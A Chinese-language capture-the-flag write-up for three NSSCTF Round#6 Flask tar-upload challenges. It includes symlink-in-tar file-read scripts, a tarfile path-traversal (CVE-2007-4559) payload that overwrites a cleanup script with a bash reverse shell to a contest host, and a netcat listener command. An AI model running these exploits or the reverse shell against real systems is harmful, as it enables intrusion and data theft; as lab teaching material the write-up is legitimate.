Bootstrap

NSSCTF【NSSRound#6 Tea】

[NSSRound#6 Team]check(V1)

考察:利用软链接上传文件实现任意文件读取

打开题目,将代码格式化一下(右键点击查看源代码)


# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])

def allowed_file(filename):
    return '.' in filename and \
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
def index():
    with open(__file__, 'r') as f:
        return f.read()

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return '?'
    file = request.files['file']
    if file.filename == '':
        return '?'
    print(file.filename)
    if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a tarfile'
    try:
        tar = tarfile.open(file_save_path, "r")
        tar.extractall(app.config['UPLOAD_FOLDER'])
    except Exception as e:
        return str(e)
    os.remove(file_save_path)
    return 'success'

@app.route('/download', methods=['POST'])
def download_file():
    filename = request.form.get('filename')
    if filename is None or filename == '':
        return '?'
    
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    
    if '..' in filename or '/' in filename:
        return '?'
    
    if not os.path.exists(filepath) or not os.path.isfile(filepath):
        return '?'
    
    with open(filepath, 'r') as f:
        return f.read()
    
@app.route('/clean', methods=['POST'])
def clean_file():
    os.system('/tmp/clean.sh')
    return 'success'

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=80)

能够进行文件的上传与下载,同时限制了文件只能是tar文件,并对文件名进行了过滤,禁止了..和/符号

主要的解题思路在于

 tar = tarfile.open(file_save_path, "r")
 tar.extractall(app.config['UPLOAD_FOLDER'])

#这段代码存在文件路径注入漏洞
#文件路径注入:如果file_save_path变量的值是通过用户输入或其他不可信的来源获取的,存在路径注入的风险。攻击者可以通过构造恶意的路径来访问系统中的其他文件或目录。

 可以通过上传一个tar文件,文件里面的内容软连接指向/flag,tar被解压后里面的文件指向了flag的内容,然后通过download函数将文件下载出来即可得到flag

 题解

在linux下运行

ln -s /flag flag
tar -cvf flag.tar flag

 

通过以下脚本上传,并且download flag并打印,保存成一个.py文件,用python运行即可

import requests as req

url = "http://node5.anna.nssctf.cn:29611/"
filename = r"flag.tar"     //这里的文件名是绝对路径
def upload(url ,fileName):
    url = url + "upload"
    file = {"file":open(fileName,'rb')}
    response = req.post(url=url, files = file)
    print(response.text)

def download(url):
    url = url+"download"
    file = {"filename":"flag"}
    response = req.post(url, data=file)
    print(response.text)
if __name__ == "__main__":
    upload(url,filename)
    download(url)

[NSSRound#6 Team]check(V2) 

考察:利用软链接上传文件实现任意文件读取

打开题目,发现源码,有点类似上一道题,看看能不能解决


# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])

def allowed_file(filename):
    return '.' in filename and \
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
def index():
    with open(__file__, 'r') as f:
        return f.read()

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return '?'
    file = request.files['file']
    if file.filename == '':
        return '?'
    print(file.filename)
    if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a tarfile'
    try:
        tar = tarfile.open(file_save_path, "r")
        tar.extractall(app.config['UPLOAD_FOLDER'])
    except Exception as e:
        return str(e)
    os.remove(file_save_path)
    return 'success'

@app.route('/download', methods=['POST'])
def download_file():
    filename = request.form.get('filename')
    if filename is None or filename == '':
        return '?'
    
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    
    if '..' in filename or '/' in filename:
        return '?'
    
    if not os.path.exists(filepath) or not os.path.isfile(filepath):
        return '?'
    
    with open(filepath, 'r') as f:
        return f.read()
    
@app.route('/clean', methods=['POST'])
def clean_file():
    os.system('su ctf -c /tmp/clean.sh')
    return 'success'

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=80)

直接给出payload

import requests as req

url = "http://node5.anna.nssctf.cn:22445/"
filename = r"flag.tar"
def upload(url ,fileName):
    url = url + "upload"
    file = {"file":open(fileName,'rb')}
    response = req.post(url=url, files = file)
    print(response.text)

def download(url):
    url = url+"download"
    file = {"filename":"flag"}
    response = req.post(url, data=file)
    print(response.text)
if __name__ == "__main__":
    upload(url,filename)
    download(url)

 得到flag

[NSSRound#6 Team]check(Revenge)

考察:tarfile漏洞,flask debug模式算pin码

打开题目,得到源码


# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])

def allowed_file(filename):
    return '.' in filename and \
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
def index():
    with open(__file__, 'r') as f:
        return f.read()

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return '?'
    file = request.files['file']
    if file.filename == '':
        return '?'

    if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a tarfile'
    try:
        tar = tarfile.open(file_save_path, "r")
        tar.extractall(app.config['UPLOAD_FOLDER'])
    except Exception as e:
        return str(e)
    os.remove(file_save_path)
    return 'success'

@app.route('/download', methods=['POST'])
def download_file():
    filename = request.form.get('filename')
    if filename is None or filename == '':
        return '?'
    
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    
    if '..' in filename or '/' in filename:
        return '?'
    
    if not os.path.exists(filepath) or not os.path.isfile(filepath):
        return '?'
    
    if os.path.islink(filepath):
        return '?'
    
    if oct(os.stat(filepath).st_mode)[-3:] != '444':
        return '?'
    
    with open(filepath, 'r') as f:
        return f.read()
    
@app.route('/clean', methods=['POST'])
def clean_file():
    os.system('su ctf -c /tmp/clean.sh')
    return 'success'

# print(os.environ)

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=80)

思路分析
本题的知识点:

1、tarfile文件覆盖漏洞(CVE-2007-4559)

2、开启了flask的debug模式(如上源码中的debug=True),于是可以在 /console 中进入控制台,但前提是需要有pin码

3、flask debug模式算pin码

具体思路:利用tarfile任意文件覆盖漏洞,覆盖/tmp/clean.sh,再触发clean路由反弹shell,但是反弹的shell是ctf用户,没有权限读取根目录下的flag文件,flask是root用户运行,因此可以进入flask的 /console 控制台读取文件,前提是算出pin码,所以需要用反弹的ctf用户的shell找到对应信息算出pin码,登录/console后最终拿到flag.

 解题(在linux中运行)

首先我们需要创建覆盖clean.sh的exp文件,文件名为exp.sh,内容如下:

bash -c "bash -i >& /dev/tcp/ip/port 0>&1"   ## 不加 bash -c 无法运行
bash -c "bash -i >& /dev/tcp/node5.anna.nssctf.cn/1234 0>&1"
#ip地址为被监听机
#port为监听端口

并且给这个文件加上可执行权限:chmod +x exp.sh 

接下去我们利用tarfile模块创建一个恶意的tar文件:把下面内容保存在.py文件中,接着运行

import tarfile

def changeName(tf):
    tf.name = '../../../../../tmp/clean.sh'
    return tf

with tarfile.open('exp.tar', 'w') as tf:
    # 将exp.sh重命名为'../../../../../tmp/clean.sh',并放入exp.tar文件夹中进行压缩
    tf.add('exp.sh', filter=changeName)  # exp.sh就是反弹文件

文件创建好后进行上传,并触发clean路由,脚本如下

import requests

url = 'http://node5.anna.nssctf.cn:21964/'

file = {
	'file': open(file='exp.tar', mode='rb')
}

resp = requests.post(url=url+'upload', files=file)
print(resp.text)
res = requests.post(url=url+'clean')
print(resp.text)

 

在linux中执行以上脚本,并在公网ip机中开启监听:nc -lvnp 1234

获得shell:但仍然拿不到flag

下面的操作我就给出文章了

【WP】NSSCTF Round#6 web3-check(Revenge)复现_wpnss-CSDN博客

 

 

;